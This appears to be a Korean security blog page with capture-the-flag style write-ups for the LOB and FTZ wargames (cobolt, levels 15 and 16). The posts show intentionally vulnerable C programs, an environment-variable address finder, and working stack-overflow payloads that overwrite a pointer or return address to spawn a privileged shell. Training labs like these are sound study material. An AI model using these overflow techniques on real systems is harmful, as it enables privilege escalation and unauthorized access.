[LOB] gremlin -> cobolt

Posted by dw0rdptr
2015. 3. 18. 15:18 System/LOB

ㄹㅇ

ㅇㄹ

cobolt 소스


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/
 
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs

bash2실행하고 gdb로 까봤다

스택에 16바이트가 할당되어있다. 역시 더미가 없으므로 메모리구조를 생각해보면

| buffer(16Byte) | sfp(4Byte) | ret(4Byte) |

이렇게 된다. 버퍼의 크기가 작아 버퍼에 쉘코드를 쓰는 대신 환경변수를 이용해 풀겠다


NOP과 쉘코드가 있는 환경변수 shellcode를 등록하고 주소를 찾았다.

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    char *addr;
    addr=getenv(argv[1]);
    printf("The address of %s is %p\n",argv[1],addr);
    return 0;
}
cs

*환경변수 주소를 구하는 소스


페이로드와 결과


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gate->gremlin  (0) 2015.03.17

FTZ level16

Posted by dw0rdptr
2015. 3. 17. 21:26 System/FTZ

-hint 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h> 
 
void shell()
{  
    setreuid(3097,3097);  
    system("/bin/sh");
 
void printit()
{  
    printf("Hello there!\n");
 
main(){   
 
    int crap;  
    void (*call)()=printit;  
    char buf[20];  
    fgets(buf,48,stdin);  
    call();
}  
cs



간단한 문제다 

void (*call)()=printit; 

포인터 함수 *call이 사용자 정의 함수 printit의 주소를 가르키고 있으므로

함수 shell의 시작주소를 대신 채워주면 쉘을 획득할 수 있다.


gdb로 shell함수를 디스어셈블해보면

0x080484d0 <shell+0>: push   %ebp

함수 shell의 시작주소는 0x080484d0이다





buf와 *call의 거리는 level15처럼 구하면

40이므로 40개를 채워주고 shell함수의 주소를 채우면 

(python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme


id

uid=3097(level17) gid=3096(level16) groups=3096(level16)


성공


my-pass


Level17 Password


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level15

Posted by dw0rdptr
2015. 3. 17. 21:22 System/FTZ


1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
main(){   
 
    int crap;  
    int *check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    if (*check==0xdeadbeef)   
    {     
        setreuid(3096,3096);     
        system("/bin/sh");  
    }
}  
cs


*check 포인터 변수는 입력받은 값을 주소로 받아

그 주소 안에 있는 값을 참조하므로

*check가 참조하는 값이 deadbeef가 되어야 한다


환경변수선언

export shellcode=`python -c 'print "\xef\xbe\xad\xde"'` 


*check에 shellcode 주소를 채우기만 하면 된다.


환경변수 주소 찾기

-앞에서 나온 주소 찾기 소스는 대략적인 위치만을 찾아 NOP Sled를 사용해 쉘코드를 실행시켰지만

이문제는 환경변수의 정확한 시작 주소를 찾아야 하기 때문에 아래의 소스를 쓴다



--get.c


1
2
3
4
5
6
7
int main(int argc, char **argv){
 
    long ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2
    printf("\nUse Address : %p", ptr);
    return 0;
}
cs


 //USAGE ./get 환경변수이름/ target의절대경로

./get shellcode /home/level15/attackme



Use Address : 0xbffffeff



공격 코드는


(python -c 'print "A"*40 + "\xff\xfe\xff\xbf"';cat) | /home/level15/attackme



id

uid=3096(level16) gid=3095(level15) groups=3095(level15)


my-pass


Level16 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17